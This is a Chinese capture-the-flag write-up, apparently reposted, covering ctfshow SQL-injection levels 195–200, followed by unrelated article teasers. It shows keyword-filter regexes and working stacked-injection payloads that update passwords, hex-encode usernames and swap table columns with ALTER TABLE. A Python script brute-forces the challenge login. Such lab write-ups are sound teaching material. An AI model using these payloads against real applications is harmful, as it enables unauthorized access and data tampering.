ctfshow sql 195-200

195 堆叠注入 十六进制

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

可以看到`没被过滤,select 空格 被过滤了,可以大致估计用堆叠注入

空格用`来绕过

很久没做堆叠了

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

当登录密码正确的时候就可以得到flag,所以现在要更新密码

先在本地测试一下堆叠注入

update`表`set`字段`=密码

select count(*) from users where name='DuZZ';update`users`set`password`=0x313131;

 可以发现所有密码都被改成了111

admin;update`ctfshow_user`set`pass`=111;

但是查询失败了

我们再看一下查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

因为username没有被单引号包裹

就像这个没有被包裹会报错一下 ,就不是字符串

我们转换成十六进制试一下

发现用十六进制就不用单引号了

同理我们把admin转换成十六进制

发现可以登录成功了

196 select

过滤语句

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

 还有条件

 if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

看到别人wp说

其实select没有被过滤

那我们可以使用select,先在本地测试一下

select * from users;select(9);

那我们就可以把这个9作为密码,然后再在密码输入9,就可以登录成功

197 select tables

同理的

看过滤语句,这里用户名长度没有限制了

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

这里核心就是跟上一题一样

select(1)

那么我们只要password为1 就可以成功查询

那么这里同理

我们如果show tables

然后password就是表名ctfshow_user

那么就会成功

198 alter转变字段

  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

用上一题的也能打通

还有一种方法,通过转变字段实现

我们先在本机操作一下

看下我们本来自己创建的表

现在使用alter命令,把password字段变成a字段

    alter table users change column `password` `a` varchar(255)

然后我们把id字段改为password字段

alter table users change column `id` `password` varchar(255)

我们再把a字段改为id字段

alter table users change column `a` `id` varchar(255)

 

这样我们最终就实现了id与password字段的交换

那么回到题目

我们需要有username和password就可以实现登录

然后我们现在知道username,那么需要知道password

如果实现password与id字段交换,然后我们只需要知道password的id字段

而id字段肯定就是数字,那么可以通过爆破来实现

import requests
url="http://9ecb1c54-5708-48b9-9f05-f0fde09cf80b.challenge.ctf.show/api/"

for i in range(1000):
    if i==0:
        payload={
            'username': "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255);",
            'password':i
        }
        r=requests.post(url=url,data=payload)
    data = {
        'username': '0x61646d696e',
        'password': i
    }
    re=requests.post(url=url,data=data)
    #print(re.text)
    if r"登陆成功" in re.json()['msg']:
        print(re.json()['msg'])
        break

199 text绕过varchar(200)

这里括号被过滤了

之前的payload还可以

括号被过滤,可以用text代替

0;alter table ctfshow_user change `username` `a` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `a` `pass` text;

然后 username = 0 passwd = userAUTO

200

多了一点过滤没什么影响

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

之前的payload还是能打通

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/261328.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

KylinV10 安装 MySQL 教程(可防踩雷)

KylinV10 安装 MySQL 教程(可防踩雷) 1、直接用 apt 快捷安装 MySQL $ sudo apt-get update #更新软件源 $ sudo apt-get install mysql-server #安装mysql然后你会发现,KylinV10 安装畅通无阻,并没有设置密码的场景&#xff0c…

SQLiteStudio安装指南

本博文源于笔者想要打开sqlite3的db文件,于是下载了SQLiteStudio,下载了它,sqlite3的文件随便查看,这里从零开始安装 文章目录 1、搜索官网网址2、开始下载3、开始安装4、开始使用5、总结 1、搜索官网网址 官网地址:…

【Vue中给输入框加入js验证_blur失去焦点进行校验】

【Vue中给输入框加入js验证_blur失去焦点进行校验】 通俗一点就是给输入框加个光标离开当前文本输入框时&#xff0c;然后对当前文本框内容进行校验判断 具体如下&#xff1a; 1.先给文本框加属性 blur“validatePhoneNumber” <el-input v-model“entity.telephone” blur…

挑选办公网盘指南:2023年值得推荐的办公网盘品牌

企业团队在选择办公网盘时&#xff0c;可以通过什么维度进行工具好坏的评判&#xff1f;如何判断网盘的优劣&#xff1f;2023年国内又有哪些值得推荐的网盘品牌呢&#xff1f; 首先是如何选择网盘&#xff1f; 在网盘选择时&#xff0c;我们可以从以下四个方面进行评测&#x…

liunx下用C++使用freetype库在opencv上打中文字

1、/visualizer.cpp:11:10: fatal error: ft2build.h: 没有那个文件或目录 11 | #include <ft2build.h> freetype安装问题&#xff0c;要把文件拉到根目录&#xff0c;不然找不到文件 2、编译失败找不到定义 /usr/bin/ld: CMakeFiles/interactive_face_detection_de…

爬虫快速入门

爬虫基础入门 爬虫原理1. HTTP协议与WEB开发1.简介2.请求协议与响应协议3.请求方式: get与post请求区分1区分2 环境准备1.安装python环境2.安装requests库安装方式验证安装成功 三种反爬机制1.UA反爬2.referer反爬3.cookie反爬 请求参数get请求以及查询参数post请求以及请求体参…

【终极教程】cocos2dx-js 分批次混淆压缩js文件

​ 说明: 1> 由于我们当前游戏框架的结构是平台形式的就是一个大厅里面有若干个子游戏,所以在发布的时候得区分子游戏和大厅了解了一下 project.json 里面有一个 jsList 可以把所有放进去的js文件压缩混淆成一个大的文件但是我们游戏的子游戏非常多 这样子弄显然不合适&…

sql_lab靶场搭建以及存在的一些问题

sql_lab靶场搭建问题 首先检查小皮版本 把小皮改到5.3.29版本如果没有可以直接点击更多版本进行选择安装 当版本不对时则会暴出这种错误 SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES: Fatal error: Uncaught Error: Call to undefined function mysql_co…

如何把大容量10G的文件分享给别人?三个方法收藏备用!

如果文件过大&#xff0c;比如10G的文件发送起来简直问题重重&#xff0c;不仅费时费流量而且还很可能在发送的中途失败&#xff0c;这时候就需要借助一些压缩软件对文件进行压缩&#xff0c;下面就向大家介绍3个好用的压缩软件~ 方法一&#xff1a;使用嗨格式压缩大师压缩后发…

安全、效率、成本:混合云数据库管理的三重挑战!

随着业务需求的不断演变&#xff0c;数据在多云平台之间流动&#xff0c;给数据库管控带来了新的层次和复杂性。这给数据库管控带来了前所未有的挑战。企业可能面临着一系列问题&#xff0c;包括安全性挑战、管理复杂性、性能与效率问题、成本控制难题、缺乏统一的管理视图以及…

【hcie-cloud】【9】华为云Stack_Deploy部署工具介绍

文章目录 前言华为云Stack Deploy简介华为云Stack Deploy工具简介华为云Stack Deploy工具部署范围华为云Stack Deploy工具节点网络要求华为云Stack Deploy工具部署流程 华为云Stack Deploy功能介绍部署工具工程场景部署流程介绍创建工程 - 基本信息填写创建工程 - 基本参数选择…

jvm相关命令操作

查看jvm使用情况 jmap -heap PID 查看线程使用情况 jstack pid 查看当前线程数 jstack 21294 |grep -E (#[0-9]) -o -c 查看系统线程数 top -H top -Hp pid #查看具体的进程中的线程信息 使用 jps 命令查看配置了JVM的服务 查看某个进程JVM的GC使用情况 jstat -gc 进程…

钢销,到2027年复合年增长率为2.7%

钢铁是建筑、汽车和制造业等各个行业广泛使用的材料。由于对钢铁产品的需求不断增加&#xff0c;钢铁销售市场在过去几年出现了显着增长。在本次分析中&#xff0c;我们将审视全球钢材销售市场和中国钢材销售市场的发展趋势。全球钢材销售市场分析&#xff1a; 全球钢铁市场预计…

【EI会议征稿】2024年生成式人工智能与信息安全国际学术会议(GAIIS 2024)

2024年生成式人工智能与信息安全国际学术会议&#xff08;GAIIS 2024&#xff09; 2024 International Conference on Generative Artificial Intelligence and Information Security 2024年生成式人工智能与信息安全国际学术会议&#xff08;GAIIS 2024&#xff09;将于 202…

LeetCode:162. 寻找峰值、1901. 寻找峰值 II(二分 C++)

目录 162. 寻找峰值 题目描述&#xff1a; 实现代码与解析&#xff1a; 二分 原理思路&#xff1a; 1901. 寻找峰值 II 题目描述&#xff1a; 实现代码与解析&#xff1a; 二分 原理思路&#xff1a; 162. 寻找峰值 题目描述&#xff1a; 峰值元素是指其值严格大于左…

sqlserver同步-日志传送

文章目录 先决条件安全性配置日志传送删除日志传送 (SQL Server)显示服务器实例上的事务日志传送状态报告监视日志传送 (Transact-SQL)故障转移到日志传送辅助服务器 (SQL Server)为受控故障转移做准备故障转移检查备份的日志文件是否都传送到辅助库把辅助库的日志文件还原到辅…

如何写好接口自动化测试脚本

谈到接口测试&#xff0c;大家关注更多的是哪个工具更优秀&#xff0c;更好用。但是很少人关注到接口测试用例的设计问题&#xff0c;也很少人会去写接口用例&#xff0c;都代码化了嘛&#xff0c;还写什么用例&#xff0c;是吧&#xff1f; 这样真的对么&#xff1f;我们是不…

京东2023年度各行业数据报告-2023全年度冰箱十大热门品牌销量榜单

今年&#xff0c;受家电市场整体大盘下滑的影响&#xff0c;冰箱市场的总体产销量较上年有降幅。 根据鲸参谋电商数据分析平台的相关数据显示&#xff0c;2023年京东平台上冰箱市场的全年销量为1300万&#xff0c;同比降低约9%&#xff1b;销售额将近320亿&#xff0c;同比降低…

UNet医学图像分割网络

UNet网络结构 对于医学图像的分割任务&#xff0c;这里使用UNet网络实现CT影响的病灶区域分割任务。记一篇学习笔记。 1、UNet网络结构 原始图片大小为(512, 512), 根据CT数据像素值分布的特征&#xff0c;对于image保留[-1024, 1024]范围内的像素&#xff0c;并归一 化处理到…

Java 基础学习(十五)集合排序、Lambda和Stream

1 集合排序 1.1 集合排序API 1.1.1 集合排序概述 集合排序是指对一个集合中的元素按照特定规则进行重新排列&#xff0c;以使得集合中的元素按照预定义的顺序呈现。 在集合排序中&#xff0c;通常需要定义一个比较规则&#xff0c;这个比较规则用于决定集合中的元素在排序后…
最新文章